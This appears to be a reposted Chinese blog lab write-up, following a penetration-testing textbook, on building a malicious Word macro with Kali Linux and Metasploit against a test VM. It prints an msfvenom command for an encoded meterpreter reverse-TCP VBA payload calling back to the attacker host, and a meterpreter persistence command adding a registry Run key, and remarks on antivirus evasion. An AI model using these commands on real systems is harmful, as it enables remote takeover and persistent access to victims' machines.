码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 使用Kali Linux Metasploit 复现 word宏


    目录

      • 说明
      • 环境准备
      • 步骤
        • 确认攻击机所在网络信息
        • 确认所在网络存活主机信息
        • 构建宏病毒文件
      • 构建宏文件
        • Metasploit
          • 使用resverse_tcp exploit进行攻击
          • 目标靶机打开word宏文件
          • 将宏文件加入系统启动项
            • win7电脑怎么找到注册表
          • 验证随着系统启动而启动,控制不会中断
          • 删除注册表键值,再次验证
    • 附

    说明

    按照《Kali Linux2 网络渗透测试实践指南 第二版 》第七章操作
    仅供学习讨论使用,请勿进行非法操作

    环境准备

    “邪灵工作室“公众号”下载作者提供的 windows系统靶机 32bit
    到kali 官网下载对应虚拟机并完成安装
    上述虚拟机在VM Ware中打开

    步骤

    确认攻击机所在网络信息

    ifconfig
    
    • 1

    请添加图片描述
    可以看出本机ip地址为 192.168.229.133

    确认所在网络存活主机信息

    nmap 192.168.229.0/24
    
    • 1

    请添加图片描述
    可以看出 192.168.229.135和192.168.229.136存活

    构建宏病毒文件

    使用msfvenom命令一个VBA类型的被控端

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.229.133 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe
    
    • 1

    LHOST为Kali Linux所在的攻击机
    生成的内容
    请添加图片描述
    请添加图片描述
    请添加图片描述

    构建宏文件

    MACRO CODE
    请添加图片描述
    PAYLOAD DATA请添加图片描述
    复制该word宏病毒文件至目标靶机

    Metasploit

    使用resverse_tcp exploit进行攻击

    请添加图片描述

    目标靶机打开word宏文件

    攻击主机上监听4444端口,等待反弹会话成功
    请添加图片描述

    将宏文件加入系统启动项

    使用run persistence命令

    meterpreter > run  persistence -X -i  5  -p 4444 -r 192.168.229.133
    
    • 1

    此处p和r的参数均为LHOST, LPORT,即kali linux这台机器
    请添加图片描述
    下图,看目标主机注册表 Run 键值果然被写入了一个 xBGTyPHvfmbdk 的键值,执行后门 vbs 脚本
    请添加图片描述

    win7电脑怎么找到注册表

    1.点击电脑的运行“开始”键,
    2.搜索框里面输入“regedit”,
    3.出现注册表程序“regedit.exe”,点击此程序。

    验证随着系统启动而启动,控制不会中断

    重启windows靶机
    打开新的监听
    请添加图片描述
    登录windows靶机
    结果 成功
    请添加图片描述

    删除注册表键值,再次验证

    请添加图片描述

    打开新的监听
    结果,失败
    请添加图片描述

    附

    此处参考渗透测试 ( 4 ) — Meterpreter 命令详解
    Meterpreter 的强大之处之一在于它运行于内存中,不易被杀毒软件发现,但只要目标机环境合适,或你对自己的免杀足够自信,可通过该命令写入硬盘,下次目标机启动时,木马将会自启动。
    执行过程:创建攻击载荷 -> 攻击载荷植入到目标主机 c:\windows\temp目录下,是一个.vbs的脚本 -> 写目标主机注册表键值实现开机自动运行。

  • 相关阅读:
    医学专题(6)--多组学在肿瘤分型研究中的应用思路
    现今主流物联网无线通信技术分类详解
    Python 数独求解器
    10链表-单链表构造LinkedList
    linux 性能优化
    创意中秋与国庆贺卡 - 用代码为节日增添喜悦
    基于SqlSugar的开发框架循序渐进介绍(2)-- 基于中间表的查询处理
    Codeforces Round 907 (Div. 2——ABC)
    相机内外参实践之点云投影矢量图
    触觉设备,临场感,预测控制,DOB
  • 原文地址:https://blog.csdn.net/xujing19920814/article/details/127138212
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号